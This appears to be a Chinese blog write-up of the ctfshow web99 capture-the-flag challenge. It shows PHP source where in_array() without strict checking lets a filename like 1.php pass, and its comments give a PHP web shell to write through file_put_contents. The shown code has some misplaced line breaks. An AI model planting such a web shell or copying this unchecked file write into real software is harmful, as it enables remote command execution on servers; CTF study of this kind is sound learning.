首页 > 其他分享 >ctfshow web99(in_array函数漏洞)

ctfshow web99(in_array函数漏洞)

时间:2022-10-17 15:59:34浏览次数:63  
标签:web99 array ctfshow 函数 漏洞

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

 

标签:web99,array,ctfshow,函数,漏洞
From: https://www.cnblogs.com/meng-han/p/16799461.html

相关文章

  • CF1736C1 Good Subarrays (Easy Version)
    题目传送门思路给出一种不需要脑子的做法。首先我们把每个\(a_i\)都减去\(i\),这样原问题就转化为对于每一个左端点\(i\),寻找一段连续的区间,使得这段区间的最小值加......
  • ctfshow-crypto
    密码学签到}wohs.ftc{galf是倒叙,将字符串逆序就行crypto2打开浏览器进入查看,复制粘贴到控制台直接回车flag就会出现crypto3同上一样crypto4用py写一个crypto5同上crypto6打......
  • List集合和ArrayList集合
    List集合介绍List接口继承自Collection接口是单列集合的一个重要分支习惯将实现了list接口的对象称为List集合在List集合中允许出现重复的元素所有元素是以一种线性存......
  • Count Subarrays With Fixed Bounds
    CountSubarraysWithFixedBoundsYouaregivenanintegerarray nums andtwointegers minK and maxK .A fixed-boundsubarray of nums isasubarrayt......
  • Minimize Maximum of Array
    MinimizeMaximumofArrayYouaregivena0-indexedarray nums comprisingof$n$non-negativeintegers.Inoneoperation,youmust:Chooseaninteger$i$su......
  • LeetCode 795. Number of Subarrays with Bounded Maximum
    原题链接在这里:https://leetcode.com/problems/number-of-subarrays-with-bounded-maximum/题目:Givenanintegerarray nums andtwointegers left and right,re......
  • LeetCode 2444. Count Subarrays With Fixed Bounds
    原题链接在这里:https://leetcode.com/problems/count-subarrays-with-fixed-bounds/题目:Youaregivenanintegerarray nums andtwointegers minK and maxK.A......
  • 面试官:ArrayList扩容机制,你了解吗?
    最近耗时5个月整理的10w字Java面试手册,涵盖了Java面试几乎都会问的面试题目,直达链接​​10w字Java面试手册​​小熊学Java在线地址:https://javaxiaobear.gitee.io/1、底层......
  • 操作系统导论习题解答(38. Redundant Disk Arrays (RAID))
    RedundantArraysofInexpensiveDisks(RAIDs)带着问题学习:如何制作容量大、速度快、可靠的磁盘?解决上述问题使用了一种技术叫做RedundantArrayofInexpensiveDisks......
  • C++ thread array and join respectively
    #pragmacomment(lib,"rpcrt4.lib")#include<Windows.h>#include<rpcdce.h>#include<iostream>#include<string>#include<thread>#include<vector>usingn......